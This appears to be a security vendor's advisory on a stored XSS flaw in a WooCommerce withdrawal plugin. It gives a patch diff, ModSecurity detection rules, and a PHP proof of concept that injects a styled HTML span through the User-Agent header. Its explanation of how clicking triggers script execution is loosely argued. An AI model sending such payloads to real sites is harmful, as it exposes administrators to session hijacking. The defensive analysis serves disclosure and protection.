Published : November 24, 2026

CVE-2026-130322: EU Order Withdrawal Button for WooCommerce <= 2.4.6 Unauthenticated Stored Cross-Site Scripting via User-Agent Header PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 2.4.6
Patched Version 2.4.7
Disclosed November 18, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-130322: This is an unauthenticated stored cross-site scripting (XSS) vulnerability in the EU Order Withdrawal Button for WooCommerce plugin, versions up to and including 2.4.6. The flaw resides in the handling of the User-Agent header, which is stored and later rendered in the admin Withdrawals Preview modal without proper sanitization. An attacker can inject arbitrary JavaScript that executes when an administrator or shop manager views the withdrawal notes. The CVSS score is 6.1, reflecting the need for user interaction.

Root Cause: The vulnerability stems from insufficient output escaping in two locations. First, in includes/eu-owb-core-functions.php around line 978, the withdrawal note is constructed using wp_kses_post on a string that includes the User-Agent derived from the withdrawal object. The User-Agent is not escaped before being passed to wp_kses_post, allowing certain HTML attributes (like style or data-*) to pass through. Second, in src/Admin/WithdrawalTable.php at line 1070, the note content is output using wp_kses_post without further restriction. This allows an attacker to inject a style attribute that can be used to enlarge the note element, covering the entire note area as described in the CVE. The wp_kses_post function permits a wide range of HTML tags and attributes, including style, which is the key enabler for the XSS.

Exploitation: An unauthenticated attacker can submit a withdrawal request with a malicious User-Agent header. For example, a request to the withdrawal form endpoint (likely a POST to a WooCommerce endpoint or a custom form) with a User-Agent containing something like: Click me. When an admin opens the Withdrawals Preview modal (via the admin orders page), the note is rendered, and the injected style causes the element to cover the note area. The admin must then click on the note element (as per the description) to trigger the script execution, which can lead to session hijacking or other malicious actions. The attacker cannot trigger the execution without admin interaction, but the injection is stored and persistent.

Patch Analysis: The patch introduces a new function eu_owb_kses_withdrawal_note in includes/eu-owb-core-functions.php, which defines a restricted set of allowed HTML tags and attributes, notably excluding the style attribute. This function is then used in src/Admin/WithdrawalTable.php (line 1070) to sanitize the note content before output. Also, in the order note creation (line 978), the withdrawal data is now escaped with esc_html before being wrapped in pre/code tags, preventing the injection of any HTML. These changes ensure that any malicious User-Agent content is neutralized. The allowed HTML now only includes basic formatting tags like a, br, p, pre, code, strong, b, em, i, ul, ol, li, and safe attributes for links. This effectively blocks the XSS vector because the style attribute and other dangerous attributes are removed.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator’s browser. This can lead to cookie theft, session hijacking, creation of rogue admin accounts, or redirection to malicious sites. The attacker could also perform actions on behalf of the admin, such as installing plugins or modifying site settings. Since the vulnerability requires the admin to click on the injected element, the attacker must craft the payload to entice the admin to interact, but the stored nature makes it a persistent threat.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/eu-order-withdrawal-button-for-woocommerce/build/static/admin-order.asset.php
+++ b/eu-order-withdrawal-button-for-woocommerce/build/static/admin-order.asset.php
@@ -1 +1,6 @@
-<?php return array('dependencies' => array(), 'version' => '593148e21e7458b99410');
+<?php return array(
+	'dependencies' => array(
+
+	),
+	'version' => '593148e21e7458b99410'
+);
--- a/eu-order-withdrawal-button-for-woocommerce/build/static/admin-orders.asset.php
+++ b/eu-order-withdrawal-button-for-woocommerce/build/static/admin-orders.asset.php
@@ -1 +1,6 @@
-<?php return array('dependencies' => array(), 'version' => 'c2603b4e2c24f89ca77a');
+<?php return array(
+	'dependencies' => array(
+
+	),
+	'version' => '0b51a796fe5d7507e391'
+);
--- a/eu-order-withdrawal-button-for-woocommerce/build/static/admin-styles.asset.php
+++ b/eu-order-withdrawal-button-for-woocommerce/build/static/admin-styles.asset.php
@@ -1 +1,6 @@
-<?php return array('dependencies' => array(), 'version' => 'fa60deb124630b158e91');
+<?php return array(
+	'dependencies' => array(
+
+	),
+	'version' => 'e5174fe9abdaa8b78b4a'
+);
--- a/eu-order-withdrawal-button-for-woocommerce/build/static/form-styles.asset.php
+++ b/eu-order-withdrawal-button-for-woocommerce/build/static/form-styles.asset.php
@@ -1 +1,6 @@
-<?php return array('dependencies' => array(), 'version' => '3ca5712d733bbf9c60c5');
+<?php return array(
+	'dependencies' => array(
+
+	),
+	'version' => '3c38956a2173cbebec8e'
+);
--- a/eu-order-withdrawal-button-for-woocommerce/build/static/order-withdrawal.asset.php
+++ b/eu-order-withdrawal-button-for-woocommerce/build/static/order-withdrawal.asset.php
@@ -1 +1,6 @@
-<?php return array('dependencies' => array(), 'version' => '67035eae885a7302c61a');
+<?php return array(
+	'dependencies' => array(
+
+	),
+	'version' => '67035eae885a7302c61a'
+);
--- a/eu-order-withdrawal-button-for-woocommerce/build/static/orders-styles.asset.php
+++ b/eu-order-withdrawal-button-for-woocommerce/build/static/orders-styles.asset.php
@@ -1 +1,6 @@
-<?php return array('dependencies' => array(), 'version' => '23caa558dc674d99a453');
+<?php return array(
+	'dependencies' => array(
+
+	),
+	'version' => 'd3f2a261eec0c7426234'
+);
--- a/eu-order-withdrawal-button-for-woocommerce/eu-order-withdrawal-button-for-woocommerce.php
+++ b/eu-order-withdrawal-button-for-woocommerce/eu-order-withdrawal-button-for-woocommerce.php
@@ -7,7 +7,7 @@
  * Author URI: https://vendidero.com
  * Text Domain: eu-order-withdrawal-button-for-woocommerce
  * Domain Path: /i18n/languages/
- * Version: 2.4.6
+ * Version: 2.4.7
  * Requires at least: 5.4
  * Requires PHP: 7.4
  * License: GPLv3
--- a/eu-order-withdrawal-button-for-woocommerce/includes/eu-owb-core-functions.php
+++ b/eu-order-withdrawal-button-for-woocommerce/includes/eu-owb-core-functions.php
@@ -975,7 +975,7 @@
 			$original_status = $withdrawal->get_original_status();

 			if ( $withdrawal->get_id() > 0 ) {
-				$withdrawal->add_order_note( sprintf( _x( 'Customer requested an update to the original withdrawal: %1$s', 'owb', 'eu-order-withdrawal-button-for-woocommerce' ), wp_kses_post( '<pre><code>' . (string) $withdrawal ) . '</code></pre>' ) );
+				$withdrawal->add_order_note( sprintf( _x( 'Customer requested an update to the original withdrawal: %1$s', 'owb', 'eu-order-withdrawal-button-for-woocommerce' ), '<pre><code>' . esc_html( (string) $withdrawal ) . '</code></pre>' ) );
 			}
 		}
 	}
@@ -1813,6 +1813,39 @@
 	return 'yes' === VendideroOrderWithdrawalButtonPackage::get_setting( 'enable_additional_information' );
 }

+/**
+ * Sanitize a withdrawal note for output within the admin preview modal.
+ * Only allows basic formatting tags without attributes (except safe link attributes) to prevent
+ * injected markup (e.g. data-* attributes or custom classes) from being interpreted by admin scripts.
+ *
+ * @param string $content
+ *
+ * @return string
+ */
+function eu_owb_kses_withdrawal_note( $content ) {
+	$allowed_html = array(
+		'a'      => array(
+			'href'   => true,
+			'title'  => true,
+			'target' => true,
+			'rel'    => true,
+		),
+		'br'     => array(),
+		'p'      => array(),
+		'pre'    => array(),
+		'code'   => array(),
+		'strong' => array(),
+		'b'      => array(),
+		'em'     => array(),
+		'i'      => array(),
+		'ul'     => array(),
+		'ol'     => array(),
+		'li'     => array(),
+	);
+
+	return wp_kses( $content, apply_filters( 'eu_owb_woocommerce_withdrawal_note_allowed_html', $allowed_html ) );
+}
+
 function eu_owb_wptexturize_withdrawal_additional_information( $content ) {
 	if ( function_exists( 'wc_wptexturize_order_note' ) ) {
 		return wc_wptexturize_order_note( $content );
--- a/eu-order-withdrawal-button-for-woocommerce/src/Admin/WithdrawalTable.php
+++ b/eu-order-withdrawal-button-for-woocommerce/src/Admin/WithdrawalTable.php
@@ -1067,7 +1067,7 @@
 			$note_html .= '<ul class="order_notes withdrawal-notes">';

 			foreach ( $notes as $note ) {
-				$content = wp_kses_post( $note->content );
+				$content = eu_owb_kses_withdrawal_note( $note->content );
 				$content = eu_owb_wptexturize_withdrawal_additional_information( $content );

 				$note_html .= '<li class="note system-note" rel="' . absint( $note->id ) . '"><div class="note_content">' . wpautop( $content ) . '</div><p class="meta"> <abbr class="exact-date" title="' . esc_attr( $note->date_created->date( 'Y-m-d H:i:s' ) ) . '">' . esc_html( sprintf( _x( '%1$s at %2$s', 'owb', 'eu-order-withdrawal-button-for-woocommerce' ), $note->date_created->date_i18n( wc_date_format() ), $note->date_created->date_i18n( wc_time_format() ) ) ) . '</abbr></p></li>';
--- a/eu-order-withdrawal-button-for-woocommerce/src/Package.php
+++ b/eu-order-withdrawal-button-for-woocommerce/src/Package.php
@@ -16,7 +16,7 @@
 	 *
 	 * @var string
 	 */
-	const VERSION = '2.4.6';
+	const VERSION = '2.4.7';

 	protected static $localized_scripts = array();

--- a/eu-order-withdrawal-button-for-woocommerce/vendor/autoload.php
+++ b/eu-order-withdrawal-button-for-woocommerce/vendor/autoload.php
@@ -14,10 +14,7 @@
             echo $err;
         }
     }
-    trigger_error(
-        $err,
-        E_USER_ERROR
-    );
+    throw new RuntimeException($err);
 }

 require_once __DIR__ . '/composer/autoload_real.php';
--- a/eu-order-withdrawal-button-for-woocommerce/vendor/composer/InstalledVersions.php
+++ b/eu-order-withdrawal-button-for-woocommerce/vendor/composer/InstalledVersions.php
@@ -27,12 +27,23 @@
 class InstalledVersions
 {
     /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
      * @var mixed[]|null
      * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
     private static $installed;

     /**
+     * @var bool
+     */
+    private static $installedIsLocalDir;
+
+    /**
      * @var bool|null
      */
     private static $canGetVendors;
@@ -309,6 +320,24 @@
     {
         self::$installed = $data;
         self::$installedByVendor = array();
+
+        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
+        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
+        // so we have to assume it does not, and that may result in duplicate data being returned when listing
+        // all installed packages for example
+        self::$installedIsLocalDir = false;
+    }
+
+    /**
+     * @return string
+     */
+    private static function getSelfDir()
+    {
+        if (self::$selfDir === null) {
+            self::$selfDir = strtr(__DIR__, '\', '/');
+        }
+
+        return self::$selfDir;
     }

     /**
@@ -322,19 +351,27 @@
         }

         $installed = array();
+        $copiedLocalDir = false;

         if (self::$canGetVendors) {
+            $selfDir = self::getSelfDir();
             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
+                $vendorDir = strtr($vendorDir, '\', '/');
                 if (isset(self::$installedByVendor[$vendorDir])) {
                     $installed[] = self::$installedByVendor[$vendorDir];
                 } elseif (is_file($vendorDir.'/composer/installed.php')) {
                     /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                     $required = require $vendorDir.'/composer/installed.php';
-                    $installed[] = self::$installedByVendor[$vendorDir] = $required;
-                    if (null === self::$installed && strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
-                        self::$installed = $installed[count($installed) - 1];
+                    self::$installedByVendor[$vendorDir] = $required;
+                    $installed[] = $required;
+                    if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
+                        self::$installed = $required;
+                        self::$installedIsLocalDir = true;
                     }
                 }
+                if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
+                    $copiedLocalDir = true;
+                }
             }
         }

@@ -350,7 +387,7 @@
             }
         }

-        if (self::$installed !== array()) {
+        if (self::$installed !== array() && !$copiedLocalDir) {
             $installed[] = self::$installed;
         }

--- a/eu-order-withdrawal-button-for-woocommerce/vendor/composer/autoload_static.php
+++ b/eu-order-withdrawal-button-for-woocommerce/vendor/composer/autoload_static.php
@@ -7,22 +7,22 @@
 class ComposerStaticInitf00f92da1265e878a2577856041dee10
 {
     public static $prefixLengthsPsr4 = array (
-        'V' =>
+        'V' =>
         array (
             'Vendidero\OrderWithdrawalButton\' => 32,
         ),
-        'A' =>
+        'A' =>
         array (
             'Automattic\Jetpack\Autoloader\' => 30,
         ),
     );

     public static $prefixDirsPsr4 = array (
-        'Vendidero\OrderWithdrawalButton\' =>
+        'Vendidero\OrderWithdrawalButton\' =>
         array (
             0 => __DIR__ . '/../..' . '/src',
         ),
-        'Automattic\Jetpack\Autoloader\' =>
+        'Automattic\Jetpack\Autoloader\' =>
         array (
             0 => __DIR__ . '/..' . '/automattic/jetpack-autoloader/src',
         ),
--- a/eu-order-withdrawal-button-for-woocommerce/vendor/composer/installed.php
+++ b/eu-order-withdrawal-button-for-woocommerce/vendor/composer/installed.php
@@ -1,8 +1,8 @@
 <?php return array(
     'root' => array(
         'name' => 'vendidero/eu-order-withdrawal-button-for-woocommerce',
-        'pretty_version' => '2.4.6',
-        'version' => '2.4.6.0',
+        'pretty_version' => 'dev-main',
+        'version' => 'dev-main',
         'reference' => null,
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
@@ -20,8 +20,8 @@
             'dev_requirement' => false,
         ),
         'vendidero/eu-order-withdrawal-button-for-woocommerce' => array(
-            'pretty_version' => '2.4.6',
-            'version' => '2.4.6.0',
+            'pretty_version' => 'dev-main',
+            'version' => 'dev-main',
             'reference' => null,
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
--- a/eu-order-withdrawal-button-for-woocommerce/vendor/composer/jetpack_autoload_classmap.php
+++ b/eu-order-withdrawal-button-for-woocommerce/vendor/composer/jetpack_autoload_classmap.php
@@ -75,63 +75,63 @@
 		'path'    => $vendorDir . '/automattic/jetpack-autoloader/src/class-shutdown-handler.php'
 	),
 	'Vendidero\OrderWithdrawalButton\Admin\Admin' => array(
-		'version' => '2.4.6.0',
+		'version' => 'dev-main',
 		'path'    => $baseDir . '/src/Admin/Admin.php'
 	),
 	'Vendidero\OrderWithdrawalButton\Admin\Privacy' => array(
-		'version' => '2.4.6.0',
+		'version' => 'dev-main',
 		'path'    => $baseDir . '/src/Admin/Privacy.php'
 	),
 	'Vendidero\OrderWithdrawalButton\Admin\WithdrawalTable' => array(
-		'version' => '2.4.6.0',
+		'version' => 'dev-main',
 		'path'    => $baseDir . '/src/Admin/WithdrawalTable.php'
 	),
 	'Vendidero\OrderWithdrawalButton\Ajax' => array(
-		'version' => '2.4.6.0',
+		'version' => 'dev-main',
 		'path'    => $baseDir . '/src/Ajax.php'
 	),
 	'Vendidero\OrderWithdrawalButton\Compatibility\Compatibility' => array(
-		'version' => '2.4.6.0',
+		'version' => 'dev-main',
 		'path'    => $baseDir . '/src/Compatibility/Compatibility.php'
 	),
 	'Vendidero\OrderWithdrawalButton\Compatibility\WPML' => array(
-		'version' => '2.4.6.0',
+		'version' => 'dev-main',
 		'path'    => $baseDir . '/src/Compatibility/WPML.php'
 	),
 	'Vendidero\OrderWithdrawalButton\DataStores\WithdrawalItem' => array(
-		'version' => '2.4.6.0',
+		'version' => 'dev-main',
 		'path'    => $baseDir . '/src/DataStores/WithdrawalItem.php'
 	),
 	'Vendidero\OrderWithdrawalButton\DataStores\WithdrawalOrder' => array(
-		'version' => '2.4.6.0',
+		'version' => 'dev-main',
 		'path'    => $baseDir . '/src/DataStores/WithdrawalOrder.php'
 	),
 	'Vendidero\OrderWithdrawalButton\DataStores\WithdrawalOrderCPT' => array(
-		'version' => '2.4.6.0',
+		'version' => 'dev-main',
 		'path'    => $baseDir . '/src/DataStores/WithdrawalOrderCPT.php'
 	),
 	'Vendidero\OrderWithdrawalButton\EmailTranslationHelper' => array(
-		'version' => '2.4.6.0',
+		'version' => 'dev-main',
 		'path'    => $baseDir . '/src/EmailTranslationHelper.php'
 	),
 	'Vendidero\OrderWithdrawalButton\Install' => array(
-		'version' => '2.4.6.0',
+		'version' => 'dev-main',
 		'path'    => $baseDir . '/src/Install.php'
 	),
 	'Vendidero\OrderWithdrawalButton\Package' => array(
-		'version' => '2.4.6.0',
+		'version' => 'dev-main',
 		'path'    => $baseDir . '/src/Package.php'
 	),
 	'Vendidero\OrderWithdrawalButton\Settings' => array(
-		'version' => '2.4.6.0',
+		'version' => 'dev-main',
 		'path'    => $baseDir . '/src/Settings.php'
 	),
 	'Vendidero\OrderWithdrawalButton\WithdrawalItem' => array(
-		'version' => '2.4.6.0',
+		'version' => 'dev-main',
 		'path'    => $baseDir . '/src/WithdrawalItem.php'
 	),
 	'Vendidero\OrderWithdrawalButton\WithdrawalOrder' => array(
-		'version' => '2.4.6.0',
+		'version' => 'dev-main',
 		'path'    => $baseDir . '/src/WithdrawalOrder.php'
 	),
 	'Version_Loader' => array(

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-130322
# Blocks unauthenticated stored XSS via User-Agent header in EU Order Withdrawal Button for WooCommerce <= 2.4.6
# The attack vector is a malicious User-Agent header containing HTML with style attribute, submitted to the withdrawal request endpoint.
# The endpoint is likely an AJAX action or a form submission. We target the User-Agent header on requests to admin-ajax.php or the withdrawal form.
# Since the vulnerability is in the User-Agent header, we can inspect REQUEST_HEADERS:User-Agent for XSS patterns.
# However, to avoid false positives, we combine with the specific endpoint (admin-ajax.php) and the action parameter if known.
# The action parameter for withdrawal submission is not explicitly stated, but from the plugin it's likely 'eu_owb_submit_withdrawal' or similar.
# We'll use a generic rule that matches the User-Agent containing HTML tags with style attribute on any request to admin-ajax.php with action containing 'withdrawal'.
# This is a reasonable heuristic because legitimate User-Agents rarely contain HTML tags.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261303,phase:2,deny,status:403,chain,msg:'CVE-2026-130322 via EU Order Withdrawal Button AJAX',severity:'CRITICAL',tag:'CVE-2026-130322'"
  SecRule ARGS_POST:action "@contains withdrawal" "chain"
    SecRule REQUEST_HEADERS:User-Agent "@rx <[^>]*styles*=" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

# Also block direct access to the withdrawal form if it's a separate endpoint (e.g., /withdrawal-request/)
SecRule REQUEST_URI "@rx ^/withdrawal-request/?$" 
  "id:20261304,phase:2,deny,status:403,chain,msg:'CVE-2026-130322 via EU Order Withdrawal Button form',severity:'CRITICAL',tag:'CVE-2026-130322'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule REQUEST_HEADERS:User-Agent "@rx <[^>]*styles*=" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-130322 - EU Order Withdrawal Button for WooCommerce <= 2.4.6 - Unauthenticated Stored XSS via User-Agent Header

$target_url = 'http://example.com'; // Change to target WordPress site

// The withdrawal form endpoint is not explicitly given; assume it's the default WooCommerce withdrawal form at /withdrawal-request/ (or similar).
// We'll try common paths, but the key is to submit a withdrawal request with a malicious User-Agent.
// The form typically requires order ID and email, but we'll attempt to submit without valid data to see if the User-Agent is stored.
// In a real attack, the attacker would need to know a valid order ID and email, but the vulnerability is in storing the note.

// For demonstration, we'll POST to a hypothetical endpoint that triggers the withdrawal request.
// The actual endpoint may vary; adjust accordingly.

$malicious_user_agent = '<span style="position:fixed;top:0;left:0;width:100%;height:100%;background:red;z-index:9999;">Click me for free stuff</span>';

// The withdrawal form typically submits to admin-ajax.php with action=eu_owb_submit_withdrawal or similar.
// Based on plugin structure, there is an AJAX handler.
// We'll use the ajax endpoint.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$post_data = array(
    'action' => 'eu_owb_submit_withdrawal', // Guessed action name; may need adjustment
    'order_id' => '123', // Placeholder
    'email' => 'test@example.com',
    'reason' => 'Test',
    'additional_information' => 'Test'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_USERAGENT, $malicious_user_agent);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Submitted withdrawal request with malicious User-Agent. HTTP code: $http_coden";
echo "Response: $responsen";
echo "If successful, the malicious script is stored in the withdrawal note.n";
echo "An administrator must view the Withdrawals Preview modal and click the injected element to trigger execution.n";

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.